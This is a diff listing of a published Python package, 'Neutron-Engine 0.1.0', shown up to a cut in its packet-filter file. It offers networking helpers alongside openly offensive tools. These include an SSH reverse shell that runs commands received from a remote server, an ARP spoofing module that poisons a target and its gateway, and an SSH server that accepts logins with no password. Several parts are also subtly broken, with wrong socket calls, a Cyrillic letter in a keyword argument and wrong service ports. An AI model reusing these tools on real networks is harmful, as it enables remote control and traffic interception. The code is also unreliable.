Neutron-Engine 0.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- NeutronEngine/IPAddressNeutron/LocalAddressNeutron.py +119 -0
- NeutronEngine/IPAddressNeutron/MetaPublicAddressNeutron.py +46 -0
- NeutronEngine/IPAddressNeutron/PublicAddressNeutron.py +36 -0
- NeutronEngine/IPAddressNeutron/__init__.py +6 -0
- NeutronEngine/RemoteNeutron/ClientNeutron.py +35 -0
- NeutronEngine/RemoteNeutron/ClientReverseNeutron.py +43 -0
- NeutronEngine/RemoteNeutron/ServerNeutron.py +155 -0
- NeutronEngine/RemoteNeutron/__init__.py +5 -0
- NeutronEngine/TCPNeutron/TCPClient.py +33 -0
- NeutronEngine/TCPNeutron/TCPServer.py +66 -0
- NeutronEngine/TCPNeutron/__init__.py +4 -0
- NeutronEngine/UDPNeutron/UDPClient.py +31 -0
- NeutronEngine/UDPNeutron/UDPServer.py +63 -0
- NeutronEngine/UDPNeutron/__init__.py +4 -0
- NeutronEngine/VisionNeutron/ArperNeutron.py +33 -0
- NeutronEngine/VisionNeutron/FiltersNeutron.py +34 -0
- NeutronEngine/VisionNeutron/SenderNeutron.py +60 -0
- NeutronEngine/VisionNeutron/SniffNeutron.py +43 -0
- NeutronEngine/VisionNeutron/__init__.py +6 -0
- NeutronEngine/__init__.py +22 -0
- neutron_engine-0.1.0.dist-info/METADATA +93 -0
- neutron_engine-0.1.0.dist-info/RECORD +26 -0
- neutron_engine-0.1.0.dist-info/WHEEL +5 -0
- neutron_engine-0.1.0.dist-info/licenses/LICENSE +201 -0
- neutron_engine-0.1.0.dist-info/licenses/NOTICE +42 -0
- neutron_engine-0.1.0.dist-info/top_level.txt +1 -0
|
@@ -0,0 +1,119 @@
|
|
|
1
|
+
import socket, ipaddress, os, re, subprocess, platform, netifaces
|
|
2
|
+
|
|
3
|
+
class LocalAddressNeutron:
|
|
4
|
+
|
|
5
|
+
"""
|
|
6
|
+
Module for work with network
|
|
7
|
+
"""
|
|
8
|
+
|
|
9
|
+
@staticmethod
|
|
10
|
+
def get_local_ip() -> str:
|
|
11
|
+
|
|
12
|
+
"""
|
|
13
|
+
Defines your local ip in your network.
|
|
14
|
+
|
|
15
|
+
Args: not.
|
|
16
|
+
"""
|
|
17
|
+
|
|
18
|
+
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
19
|
+
try:
|
|
20
|
+
sock.connect(('8.8.8.8', 1))
|
|
21
|
+
ip = sock.getsockname()[0]
|
|
22
|
+
except Exception:
|
|
23
|
+
ip = '127.0.0.1'
|
|
24
|
+
finally:
|
|
25
|
+
sock.close()
|
|
26
|
+
return ip
|
|
27
|
+
|
|
28
|
+
@staticmethod
|
|
29
|
+
def gen_network() -> str:
|
|
30
|
+
|
|
31
|
+
"""
|
|
32
|
+
Return network and netmask in formate CIDR for active interface
|
|
33
|
+
|
|
34
|
+
Example: 'your_ip.0/24' or '10.0.0.0/8'
|
|
35
|
+
"""
|
|
36
|
+
|
|
37
|
+
ip = LocalAddressNeutron.get_local_ip()
|
|
38
|
+
for iface in netifaces.interfaces():
|
|
39
|
+
addrs = netifaces.ifaddresses(iface)
|
|
40
|
+
if netifaces.AF_INET in addrs:
|
|
41
|
+
for addr in addrs[netifaces.AF_INET]:
|
|
42
|
+
if addr.get('addr') == ip:
|
|
43
|
+
netmask = addr.get('netmask')
|
|
44
|
+
if netmask:
|
|
45
|
+
network = ipaddress.IPv4Network(f"{ip}/{netmask}", strict=False)
|
|
46
|
+
return str(network)
|
|
47
|
+
|
|
48
|
+
parts = ip.split('.')
|
|
49
|
+
return f"{parts[0]}.{parts[1]}.{parts[2]}.0/24"
|
|
50
|
+
|
|
51
|
+
|
|
52
|
+
@staticmethod
|
|
53
|
+
def scan_arp(timeout=1) -> list:
|
|
54
|
+
|
|
55
|
+
"""
|
|
56
|
+
Scanning local network through cache ARP.
|
|
57
|
+
He performs command 'arp -a' and print her result, for getting list ip addresses and their mac addresses
|
|
58
|
+
|
|
59
|
+
Args: timeout=1 (it's already worth it)
|
|
60
|
+
|
|
61
|
+
Example:
|
|
62
|
+
>>> result = LocalAddressNeutron.scan_arp()
|
|
63
|
+
>>> print(result)
|
|
64
|
+
|
|
65
|
+
Example print:
|
|
66
|
+
192.168.1.1 aa:bb:cc:dd:ee:ff dynamic
|
|
67
|
+
192.168.1.50 11:22:33:44:55:66 dynamic
|
|
68
|
+
|
|
69
|
+
"""
|
|
70
|
+
|
|
71
|
+
result = []
|
|
72
|
+
try:
|
|
73
|
+
output = subprocess.check_output(['arp', '-a'], timeout=timeout, text=True)
|
|
74
|
+
lines = output.splitlines()
|
|
75
|
+
for line in lines:
|
|
76
|
+
match = re.search(r'(\d+\.\d+\.\d+\.\d+)\s+([a-fA-F0-9\-]+)', line)
|
|
77
|
+
if match:
|
|
78
|
+
ip = match.group(1)
|
|
79
|
+
mac = match.group(2)
|
|
80
|
+
result.append({'ip': ip, 'mac': mac})
|
|
81
|
+
except Exception:
|
|
82
|
+
pass
|
|
83
|
+
return result
|
|
84
|
+
|
|
85
|
+
@staticmethod
|
|
86
|
+
def ping(ip: str, timeout=1):
|
|
87
|
+
|
|
88
|
+
"""
|
|
89
|
+
It's special utility ping (Packet Internet Groper), she sends ICMP request on ip and answer.
|
|
90
|
+
|
|
91
|
+
Args:
|
|
92
|
+
ip (str): ip address,
|
|
93
|
+
timeout=1 (it's already worth it)
|
|
94
|
+
|
|
95
|
+
Example:
|
|
96
|
+
>>> ping = LocalAddressNeutron.ping('127.0.0.1')
|
|
97
|
+
>>> print(ping)
|
|
98
|
+
|
|
99
|
+
Example print:
|
|
100
|
+
True 'or' False
|
|
101
|
+
"""
|
|
102
|
+
|
|
103
|
+
if platform.system().lower() == 'windows':
|
|
104
|
+
timeout_ms = timeout * 1000
|
|
105
|
+
cmd = ['ping', '-n', '1', '-w', str(timeout_ms), ip]
|
|
106
|
+
else:
|
|
107
|
+
cmd = ['ping', '-c', '1', '-W', str(timeout), ip]
|
|
108
|
+
|
|
109
|
+
try:
|
|
110
|
+
subprocess.run(cmd, capture_output=True, timeout=timeout + 0.5)
|
|
111
|
+
return True
|
|
112
|
+
except subprocess.TimeoutExpired:
|
|
113
|
+
return False
|
|
114
|
+
except Exception:
|
|
115
|
+
return False
|
|
116
|
+
|
|
117
|
+
|
|
118
|
+
|
|
119
|
+
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
import requests
|
|
2
|
+
|
|
3
|
+
class MetaPublicAddressNeutron:
|
|
4
|
+
|
|
5
|
+
"""
|
|
6
|
+
Module for meta information about public ip address
|
|
7
|
+
"""
|
|
8
|
+
|
|
9
|
+
@staticmethod
|
|
10
|
+
def get_meta_public_ip(timeout: float) -> dict:
|
|
11
|
+
|
|
12
|
+
"""
|
|
13
|
+
Return meta information about public ip address: address, country, city, provider, coordinates.
|
|
14
|
+
|
|
15
|
+
For getting meta information we are using site http://ip-api.com/json/
|
|
16
|
+
|
|
17
|
+
Args:
|
|
18
|
+
timeout (float): seconds timeout
|
|
19
|
+
|
|
20
|
+
For request: need work WI-FI , if not WI-FI - won't get answer and get error
|
|
21
|
+
|
|
22
|
+
Example:
|
|
23
|
+
>>> answer = MetaPublicAddressNeutron.get_meta_public_ip(5.0)
|
|
24
|
+
>>> print(answer)
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
"""
|
|
28
|
+
|
|
29
|
+
try:
|
|
30
|
+
r = requests.get('http://ip-api.com/json/', timeout=timeout)
|
|
31
|
+
data = r.json()
|
|
32
|
+
if data.get('status') == 'success':
|
|
33
|
+
return {'ip': data['query'],
|
|
34
|
+
'country': data['country'],
|
|
35
|
+
'city': data['city'],
|
|
36
|
+
'isp': data['isp'],
|
|
37
|
+
'lat': data['lat'],
|
|
38
|
+
'lon': data['lon']}
|
|
39
|
+
|
|
40
|
+
else:
|
|
41
|
+
return None
|
|
42
|
+
|
|
43
|
+
except Exception as e:
|
|
44
|
+
return f'Error connection with site http://ip-api.com/json/. Try again.\nError: {e}'
|
|
45
|
+
|
|
46
|
+
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
import requests
|
|
2
|
+
|
|
3
|
+
class PublicAddressNeutron:
|
|
4
|
+
|
|
5
|
+
"""
|
|
6
|
+
Module for public ip address
|
|
7
|
+
"""
|
|
8
|
+
|
|
9
|
+
@staticmethod
|
|
10
|
+
def get_public_ip(timeout: float) -> str:
|
|
11
|
+
|
|
12
|
+
"""
|
|
13
|
+
Defines your public address by sending request on site https://api.ipify.org and getting answer, then return answer.
|
|
14
|
+
|
|
15
|
+
Formate: IPv4
|
|
16
|
+
|
|
17
|
+
Args:
|
|
18
|
+
timeout (float): seconds timeout
|
|
19
|
+
|
|
20
|
+
For request: need work WI-FI , if not WI-FI - won't get answer and get error
|
|
21
|
+
|
|
22
|
+
Example:
|
|
23
|
+
>>> answer = PublicAddressNeutron.get_public_ip(5.0)
|
|
24
|
+
>>> print(answer)
|
|
25
|
+
|
|
26
|
+
Example print:
|
|
27
|
+
192.0.2.125
|
|
28
|
+
"""
|
|
29
|
+
|
|
30
|
+
try:
|
|
31
|
+
return requests.get('https://api.ipify.org', timeout=timeout).text.strip()
|
|
32
|
+
except Exception as e:
|
|
33
|
+
return f'Error connection with site https://api.ipify.org. Try again.\nError: {e}'
|
|
34
|
+
|
|
35
|
+
|
|
36
|
+
|
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
import paramiko, sys
|
|
2
|
+
|
|
3
|
+
def ssh_command(ip: str, port: int, username: str, password: str, cmd: str):
|
|
4
|
+
|
|
5
|
+
"""
|
|
6
|
+
Simple SSH client for connecting a remote SSH server and executing a command.
|
|
7
|
+
|
|
8
|
+
Args:
|
|
9
|
+
ip (str): ip address of the ssh server
|
|
10
|
+
port (int): number port of the ssh server
|
|
11
|
+
username (str): username of the ssh server
|
|
12
|
+
password (str): password of the ssh serevr
|
|
13
|
+
cmd (str): command for the ssh server
|
|
14
|
+
|
|
15
|
+
Example:
|
|
16
|
+
ssh_command('127.0.0.1', 2222, 'user', 'pass', 'whoami' )
|
|
17
|
+
"""
|
|
18
|
+
|
|
19
|
+
client = paramiko.SSHClient()
|
|
20
|
+
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
|
21
|
+
client.connect(ip, port=port, username=username, password=password)
|
|
22
|
+
|
|
23
|
+
try:
|
|
24
|
+
client.connect(ip, port=port, username=username, password=password)
|
|
25
|
+
stdin, stdout, stderr = client.exec_command(cmd)
|
|
26
|
+
output = stdout.read().decode()
|
|
27
|
+
error = stderr.read().decode()
|
|
28
|
+
if output:
|
|
29
|
+
print(output.strip())
|
|
30
|
+
if error:
|
|
31
|
+
print(error.strip(), file=sys.stderr)
|
|
32
|
+
except Exception as e:
|
|
33
|
+
print(f"Connection failed: {e}")
|
|
34
|
+
finally:
|
|
35
|
+
client.close()
|
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
import paramiko, subprocess
|
|
2
|
+
|
|
3
|
+
def ssh_shell(ip: str, port: int, username: str, password: str, timeout_pause: float):
|
|
4
|
+
|
|
5
|
+
|
|
6
|
+
"""
|
|
7
|
+
Reverse Shell SSH client for connecting a remote SSH server and executing a command.
|
|
8
|
+
|
|
9
|
+
Args:
|
|
10
|
+
ip (str): ip address of the ssh server
|
|
11
|
+
port (int): number port of the ssh server
|
|
12
|
+
username (str): username of the ssh server
|
|
13
|
+
password (str): password of the ssh serevr
|
|
14
|
+
timeout_pause (float): time to pause between commands in seconds
|
|
15
|
+
|
|
16
|
+
Example:
|
|
17
|
+
>>> ssh_shell('127.0.0.1', 2222, 'user', 'pass', 5)
|
|
18
|
+
|
|
19
|
+
"""
|
|
20
|
+
|
|
21
|
+
client = paramiko.SSHClient()
|
|
22
|
+
client.set_missing_host_key_policy(paramiko.WarningPolicy())
|
|
23
|
+
client.connect(ip, port=port, username=username, password=password, allow_agent=False, look_for_keys=False, timeout=10)
|
|
24
|
+
session = client.get_transport().open_session()
|
|
25
|
+
session.send("Client Connection\n")
|
|
26
|
+
print("Reverse shell ready.")
|
|
27
|
+
|
|
28
|
+
while True:
|
|
29
|
+
data = session.recv(1024)
|
|
30
|
+
if not data:
|
|
31
|
+
break
|
|
32
|
+
cmd = data.decode('utf-8').strip()
|
|
33
|
+
if cmd.lower() == 'exit':
|
|
34
|
+
break
|
|
35
|
+
|
|
36
|
+
try:
|
|
37
|
+
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout_pause)
|
|
38
|
+
output = result.stdout + result.stderr or 'OK\n'
|
|
39
|
+
session.send(output)
|
|
40
|
+
except Exception as e:
|
|
41
|
+
print(f"Error: {e}\n")
|
|
42
|
+
|
|
43
|
+
client.close()
|
|
@@ -0,0 +1,155 @@
|
|
|
1
|
+
import paramiko
|
|
2
|
+
import os
|
|
3
|
+
import threading
|
|
4
|
+
import socket
|
|
5
|
+
from cryptography.hazmat.primitives.asymmetric import rsa
|
|
6
|
+
from cryptography.hazmat.primitives import serialization
|
|
7
|
+
|
|
8
|
+
class SSHServer:
|
|
9
|
+
|
|
10
|
+
"""
|
|
11
|
+
Module for run SSH server using module 'paramiko'
|
|
12
|
+
For rsa key we are using module 'cryptography'
|
|
13
|
+
|
|
14
|
+
"""
|
|
15
|
+
|
|
16
|
+
def __init__(self, host='0.0.0.0', port=2222, key_file=None):
|
|
17
|
+
self.host = host
|
|
18
|
+
self.port = port
|
|
19
|
+
self.key_file = key_file or self._generate_key()
|
|
20
|
+
self.host_key = paramiko.RSAKey(filename=self.key_file)
|
|
21
|
+
|
|
22
|
+
def _generate_key(self):
|
|
23
|
+
|
|
24
|
+
"""
|
|
25
|
+
Generation rsa key
|
|
26
|
+
|
|
27
|
+
File = 'rsa_private.pem'
|
|
28
|
+
Public Exponent = 65537
|
|
29
|
+
Size key = 2048
|
|
30
|
+
|
|
31
|
+
Formate = TraditionOpenSSL
|
|
32
|
+
"""
|
|
33
|
+
|
|
34
|
+
key_file = "rsa_private.pem"
|
|
35
|
+
if not os.path.exists(key_file):
|
|
36
|
+
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
|
|
37
|
+
with open(key_file, 'wb') as f:
|
|
38
|
+
f.write(key.private_bytes(
|
|
39
|
+
encoding=serialization.Encoding.PEM,
|
|
40
|
+
format=serialization.PrivateFormat.TraditionalOpenSSL,
|
|
41
|
+
encryption_algorithm=serialization.NoEncryption()
|
|
42
|
+
))
|
|
43
|
+
return key_file
|
|
44
|
+
|
|
45
|
+
class _Handler(paramiko.ServerInterface):
|
|
46
|
+
def __init__(self, auth_callback):
|
|
47
|
+
super().__init__()
|
|
48
|
+
self.event = threading.Event()
|
|
49
|
+
self.auth_callback = auth_callback
|
|
50
|
+
|
|
51
|
+
def check_channel_request(self, kind, chanid):
|
|
52
|
+
if kind == 'session':
|
|
53
|
+
return paramiko.OPEN_SUCCEEDED
|
|
54
|
+
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
|
|
55
|
+
|
|
56
|
+
def check_auth_none(self, username):
|
|
57
|
+
return paramiko.AUTH_SUCCESSFUL
|
|
58
|
+
|
|
59
|
+
def check_auth_password(self, username, password):
|
|
60
|
+
if self.auth_callback and self.auth_callback(username, password):
|
|
61
|
+
return paramiko.AUTH_SUCCESSFUL
|
|
62
|
+
return paramiko.AUTH_FAILED
|
|
63
|
+
|
|
64
|
+
def start(self, auth_callback=None, command_callback=None):
|
|
65
|
+
|
|
66
|
+
"""
|
|
67
|
+
Start a SSH server and accepts connections.
|
|
68
|
+
|
|
69
|
+
Host: 0.0.0.0
|
|
70
|
+
Port: 2222 (we aren't using ssh port 22, but using another port)
|
|
71
|
+
|
|
72
|
+
Args:
|
|
73
|
+
auth_callback: None (default)
|
|
74
|
+
command_callback: None (default)
|
|
75
|
+
|
|
76
|
+
Recommendations:
|
|
77
|
+
For authorizations connections need create function auth
|
|
78
|
+
|
|
79
|
+
Example:
|
|
80
|
+
>>> def auth(username, password):
|
|
81
|
+
>>> return username == 'user' and password == 'pass' # It's simple auth, but may using through environment or file
|
|
82
|
+
>>> server = SSHServer(host='0.0.0.0', port=2222)
|
|
83
|
+
>>> server.start(auth_callback=auth)
|
|
84
|
+
|
|
85
|
+
|
|
86
|
+
How plug client:
|
|
87
|
+
1. There are two options: Reverse Shell (ClientReverseNeutron) and Simple Client (ClientNeutron)
|
|
88
|
+
2. Choose an option
|
|
89
|
+
3. Follow the paragraph 'Example' in your version
|
|
90
|
+
|
|
91
|
+
|
|
92
|
+
|
|
93
|
+
"""
|
|
94
|
+
|
|
95
|
+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
96
|
+
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
|
97
|
+
sock.bind((self.host, self.port))
|
|
98
|
+
sock.listen(100)
|
|
99
|
+
print(f"SSH Server launched on {self.host}:{self.port}")
|
|
100
|
+
|
|
101
|
+
while True:
|
|
102
|
+
client, addr = sock.accept()
|
|
103
|
+
print(f"Connect from {addr}")
|
|
104
|
+
transport = paramiko.Transport(client)
|
|
105
|
+
transport.add_server_key(self.host_key)
|
|
106
|
+
|
|
107
|
+
server = self._Handler(auth_callback)
|
|
108
|
+
try:
|
|
109
|
+
transport.start_server(server=server)
|
|
110
|
+
except Exception as e:
|
|
111
|
+
print(f"Error: {e}")
|
|
112
|
+
continue
|
|
113
|
+
|
|
114
|
+
chan = transport.accept(20)
|
|
115
|
+
if chan is None:
|
|
116
|
+
continue
|
|
117
|
+
print("Authentication completed")
|
|
118
|
+
chan.send("Welcome to SSH Server!\n")
|
|
119
|
+
|
|
120
|
+
if command_callback is None:
|
|
121
|
+
print("Interactive mode. Type commands for client ('exit' to quit)")
|
|
122
|
+
while True:
|
|
123
|
+
cmd = input("cmd> ")
|
|
124
|
+
if cmd.lower() == 'exit':
|
|
125
|
+
chan.send('exit\n')
|
|
126
|
+
break
|
|
127
|
+
chan.send(cmd + '\n')
|
|
128
|
+
try:
|
|
129
|
+
result = b''
|
|
130
|
+
while True:
|
|
131
|
+
chunk = chan.recv(4096)
|
|
132
|
+
if not chunk:
|
|
133
|
+
break
|
|
134
|
+
result += chunk
|
|
135
|
+
if len(chunk) < 4096:
|
|
136
|
+
break
|
|
137
|
+
print(result.decode('utf-8', errors='ignore'), end='')
|
|
138
|
+
except Exception as e:
|
|
139
|
+
print(f"Error receiving result: {e}")
|
|
140
|
+
break
|
|
141
|
+
else:
|
|
142
|
+
while True:
|
|
143
|
+
try:
|
|
144
|
+
command = chan.recv(1024).decode('utf-8').strip()
|
|
145
|
+
if not command or command == 'exit':
|
|
146
|
+
chan.send("Goodbye\n")
|
|
147
|
+
break
|
|
148
|
+
if command_callback:
|
|
149
|
+
command_callback(chan, command)
|
|
150
|
+
else:
|
|
151
|
+
chan.send(f"Unknown command: {command}\n")
|
|
152
|
+
except Exception:
|
|
153
|
+
break
|
|
154
|
+
|
|
155
|
+
transport.close()
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
import socket
|
|
2
|
+
|
|
3
|
+
class TCPClient:
|
|
4
|
+
"""
|
|
5
|
+
Module for create TCP client.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
@staticmethod
|
|
9
|
+
def send(ip: str, port: int, message: bytes, timeout: float = 5.0) -> bytes:
|
|
10
|
+
"""
|
|
11
|
+
Send a message to a TCP server and return the response
|
|
12
|
+
|
|
13
|
+
Args:
|
|
14
|
+
ip (str): ip address,
|
|
15
|
+
port (int): port number,
|
|
16
|
+
message (bytes): message to send,
|
|
17
|
+
timeout (float): socket timeout in seconds
|
|
18
|
+
|
|
19
|
+
Return:
|
|
20
|
+
bytes: response from the server
|
|
21
|
+
|
|
22
|
+
Example:
|
|
23
|
+
>>> response = TCPClient.send('127.0.0.1', 8888, b'Hello World!', 5.0) # timeout it is not necessary to specify.
|
|
24
|
+
>>> print(response)
|
|
25
|
+
b'Hello World!'
|
|
26
|
+
"""
|
|
27
|
+
|
|
28
|
+
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client:
|
|
29
|
+
client.timeout(timeout)
|
|
30
|
+
client.connect((ip, port))
|
|
31
|
+
client.sendall(message)
|
|
32
|
+
return client.recvfrom(4096)
|
|
33
|
+
|
|
@@ -0,0 +1,66 @@
|
|
|
1
|
+
import socket
|
|
2
|
+
import threading
|
|
3
|
+
|
|
4
|
+
class TCPServer:
|
|
5
|
+
"""
|
|
6
|
+
Module for creating TCP server.
|
|
7
|
+
"""
|
|
8
|
+
|
|
9
|
+
run = False
|
|
10
|
+
|
|
11
|
+
@staticmethod
|
|
12
|
+
def start(ip: str, port: int, backlog: int = 5) -> None:
|
|
13
|
+
"""
|
|
14
|
+
Start a TCP server.
|
|
15
|
+
|
|
16
|
+
Args:
|
|
17
|
+
ip (str): ip adress
|
|
18
|
+
port (int): port number
|
|
19
|
+
backlog (int): maximum number of queued connections
|
|
20
|
+
|
|
21
|
+
Example:
|
|
22
|
+
>>> TCPServer.start('127.0.0.1', 8888, 20)
|
|
23
|
+
"""
|
|
24
|
+
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
25
|
+
server.bind((ip, port))
|
|
26
|
+
server.listen(backlog)
|
|
27
|
+
server.settimeout(1.0)
|
|
28
|
+
TCPServer.run = True
|
|
29
|
+
|
|
30
|
+
while TCPServer.run:
|
|
31
|
+
try:
|
|
32
|
+
client, addr = server.accept()
|
|
33
|
+
threading.Thread(target=TCPServer._handle_client, args=(client, addr)).start()
|
|
34
|
+
except socket.timeout:
|
|
35
|
+
continue
|
|
36
|
+
|
|
37
|
+
@staticmethod
|
|
38
|
+
def _handle_client(client: socket.socket, addr: tuple) -> None:
|
|
39
|
+
"""
|
|
40
|
+
Private method to handle individual client connections.
|
|
41
|
+
|
|
42
|
+
Args:
|
|
43
|
+
client (socket.socket): Client socket object.
|
|
44
|
+
addr (tuple): Client address (ip, port).
|
|
45
|
+
"""
|
|
46
|
+
print(f"Accepted connection from {addr}")
|
|
47
|
+
with client:
|
|
48
|
+
data = client.recv(1024)
|
|
49
|
+
if data:
|
|
50
|
+
print(f"Received: {data.decode('utf-8')}")
|
|
51
|
+
client.sendall(b"OK")
|
|
52
|
+
|
|
53
|
+
|
|
54
|
+
@staticmethod
|
|
55
|
+
def stop() -> None:
|
|
56
|
+
"""
|
|
57
|
+
Stop a TCP server.
|
|
58
|
+
Args: not
|
|
59
|
+
"""
|
|
60
|
+
|
|
61
|
+
TCPServer.run = False
|
|
62
|
+
|
|
63
|
+
|
|
64
|
+
|
|
65
|
+
|
|
66
|
+
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
import socket
|
|
2
|
+
|
|
3
|
+
class UDPClient:
|
|
4
|
+
"""Simple UDP client for sending datagrams without establishing a connection.
|
|
5
|
+
|
|
6
|
+
This class provides a static method to send raw bytes to a specified
|
|
7
|
+
UDP server. It automatically creates a temporary socket, sends the data,
|
|
8
|
+
and closes the socket immediately after.
|
|
9
|
+
"""
|
|
10
|
+
|
|
11
|
+
@staticmethod
|
|
12
|
+
def send(message: bytes, ip: str, port: int):
|
|
13
|
+
"""
|
|
14
|
+
Sends a UDP datagram to the specified address and port.
|
|
15
|
+
|
|
16
|
+
The socket is created, used once, and then automatically closed
|
|
17
|
+
(thanks to the `with` statement). No response is expected or received.
|
|
18
|
+
|
|
19
|
+
Args:
|
|
20
|
+
message (bytes): The raw bytes to send. Strings must be encoded
|
|
21
|
+
(e.g., `b'Hello'` or `'Hello'.encode('utf-8')`).
|
|
22
|
+
ip (str): Destination IPv4 address (e.g., '127.0.0.1').
|
|
23
|
+
port (int): Destination port number.
|
|
24
|
+
|
|
25
|
+
Example:
|
|
26
|
+
>>> UDPClient.send(b'Hello', '192.168.1.50', 9999)
|
|
27
|
+
>>> UDPClient.send('Ping'.encode('utf-8'), '8.8.8.8', 53)
|
|
28
|
+
"""
|
|
29
|
+
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
|
|
30
|
+
|
|
31
|
+
sock.sendto(message, (ip, port))
|
|
@@ -0,0 +1,63 @@
|
|
|
1
|
+
import socket
|
|
2
|
+
import threading
|
|
3
|
+
|
|
4
|
+
class UDPServer:
|
|
5
|
+
"""
|
|
6
|
+
Module for create UDP server
|
|
7
|
+
"""
|
|
8
|
+
|
|
9
|
+
run = False
|
|
10
|
+
|
|
11
|
+
@staticmethod
|
|
12
|
+
def start(ip: str, port: int) -> None:
|
|
13
|
+
"""
|
|
14
|
+
Start a UDP server.
|
|
15
|
+
|
|
16
|
+
Args:
|
|
17
|
+
ip (str): ip address,
|
|
18
|
+
port (int): port number
|
|
19
|
+
|
|
20
|
+
Example:
|
|
21
|
+
>>> UDPServer.server('127.0.0.1', 8888)
|
|
22
|
+
"""
|
|
23
|
+
server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
24
|
+
server.bind((ip, port))
|
|
25
|
+
server.settimeout(1.0)
|
|
26
|
+
UDPServer.run = True
|
|
27
|
+
|
|
28
|
+
while UDPServer.run:
|
|
29
|
+
try:
|
|
30
|
+
data, addr = server.recvfrom(4096)
|
|
31
|
+
threading.Thread(targeе=UDPServer._handle_datagram, args=(data, addr)).start()
|
|
32
|
+
except socket.timeout:
|
|
33
|
+
continue
|
|
34
|
+
|
|
35
|
+
@staticmethod
|
|
36
|
+
def stop() -> None:
|
|
37
|
+
"""Stop a UDP server.
|
|
38
|
+
|
|
39
|
+
Args: not
|
|
40
|
+
"""
|
|
41
|
+
|
|
42
|
+
UDPServer.run = False
|
|
43
|
+
|
|
44
|
+
@staticmethod
|
|
45
|
+
def _handle_datagram(data: bytes, addr: tuple) -> None:
|
|
46
|
+
|
|
47
|
+
"""
|
|
48
|
+
Handles an incoming UDP datagram.
|
|
49
|
+
|
|
50
|
+
Args:
|
|
51
|
+
data (bytes): The raw bytes received from the client.
|
|
52
|
+
addr (tuple): A tuple (ip_address, port) of the client.
|
|
53
|
+
|
|
54
|
+
Example:
|
|
55
|
+
If a client sends "Hello", the output will be:
|
|
56
|
+
Received: Hello
|
|
57
|
+
|
|
58
|
+
"""
|
|
59
|
+
print(f"Received: {data.decode('utf-8')}")
|
|
60
|
+
|
|
61
|
+
|
|
62
|
+
|
|
63
|
+
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
from scapy.all import ARP, send, Ether
|
|
2
|
+
|
|
3
|
+
class ArperNeutron:
|
|
4
|
+
|
|
5
|
+
"""
|
|
6
|
+
Module for methods to send forged ARP packets.
|
|
7
|
+
|
|
8
|
+
At the moment there is one method: 'spoof()' without 'restore()', but method 'restore()' will appear soon.
|
|
9
|
+
"""
|
|
10
|
+
|
|
11
|
+
@staticmethod
|
|
12
|
+
def spoof(target: str, gateway: str, iface: str = None) -> None:
|
|
13
|
+
|
|
14
|
+
"""
|
|
15
|
+
Sends ARP spoofing packets to a target and the gateway.
|
|
16
|
+
|
|
17
|
+
Args:
|
|
18
|
+
target (str): ip address of the target
|
|
19
|
+
gateway (str): ip address of the gateway (router)
|
|
20
|
+
iface (str): network interface name (example: 'wlan0', 'eth0'), but default iface = None
|
|
21
|
+
|
|
22
|
+
Example:
|
|
23
|
+
ArperNeutron.spoof('192.168.1.10', '192.168.1.1', iface='eth0')
|
|
24
|
+
|
|
25
|
+
Return:
|
|
26
|
+
None
|
|
27
|
+
"""
|
|
28
|
+
|
|
29
|
+
packet_target = ARP(op=2, pdst=target, hwdst='ff:ff:ff:ff:ff:ff', psrc=gateway)
|
|
30
|
+
packet_gateway = ARP(op=2, pdst=gateway, hwdst='ff:ff:ff:ff:ff:ff', psrc=target)
|
|
31
|
+
send(packet_target, iface=iface, verbose=False)
|
|
32
|
+
send(packet_gateway, iface=iface, verbose=False)
|
|
33
|
+
|
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
class FiltersNeutron:
|
|
2
|
+
|
|
3
|
+
"""
|
|
4
|
+
It's filters for SniffNeutron (attribute: filters).
|
|
5
|
+
"""
|
|
6
|
+
|
|
7
|
+
# === FILTERS FOR SERVICE === #
|
|
8
|
+
FILTER_SERVICE_HTTP = 'tcp port 80'
|
|
9
|
+
FILTER_SERVICE_HTTPS = 'tcp port 443'
|
|
10
|
+
FILTER_SERVICE_DNS = 'tcp port 53'
|
|
11
|
+
FILTER_SERVICE_SSH = 'tcp port 22'
|
|
12
|
+
FILTER_SERVICE_FTP_DATA = 'tcp port 20'
|
|
13
|
+
FILTER_SERVICE_FTP_MANAGEMENT = 'tcp port 21'
|
|
14
|
+
FILTER_SERVICE_POP3 = 'tcp port 110'
|
|
15
|
+
FILTER_SERVICE_SMTP = 'tcp port 25'
|
|
16
|
+
FILTER_SERVICE_IMAP = 'tcp port 143'
|
|
17
|
+
FILTER_SERVICE_DHCP_SERVER = 'tcp port 67'
|
|
18
|
+
FILTER_SERVICE_DHCP_CLIENT = 'tcp port 68'
|
|
19
|
+
FILTER_SERVICE_SOCKS = 'tcp port 1080'
|
|
20
|
+
FILTER_SERVICE_OPENVPN = 'tcp port 1194'
|
|
21
|
+
FILTER_SERVICE_TELNET = 'tcp port 23'
|
|
22
|
+
FILTER_SERVICE_POSTGRESQL = 'tcp port 543'
|
|
23
|
+
FILTER_SERVICE_MSSQL = 'tcp port 1433'
|
|
24
|
+
FILTER_SERVICE_MSSQL_MONITORING = 'tcp port 1434'
|
|
25
|
+
FILTER_SERVICE_ORACLE = 'tcp port 1521'
|
|
26
|
+
FILTER_SERVICE_ORIENTDB = 'tcp port 2424'
|
|
27
|
+
FILTER_SERVICE_MONGODB = 'tcp port 27017'
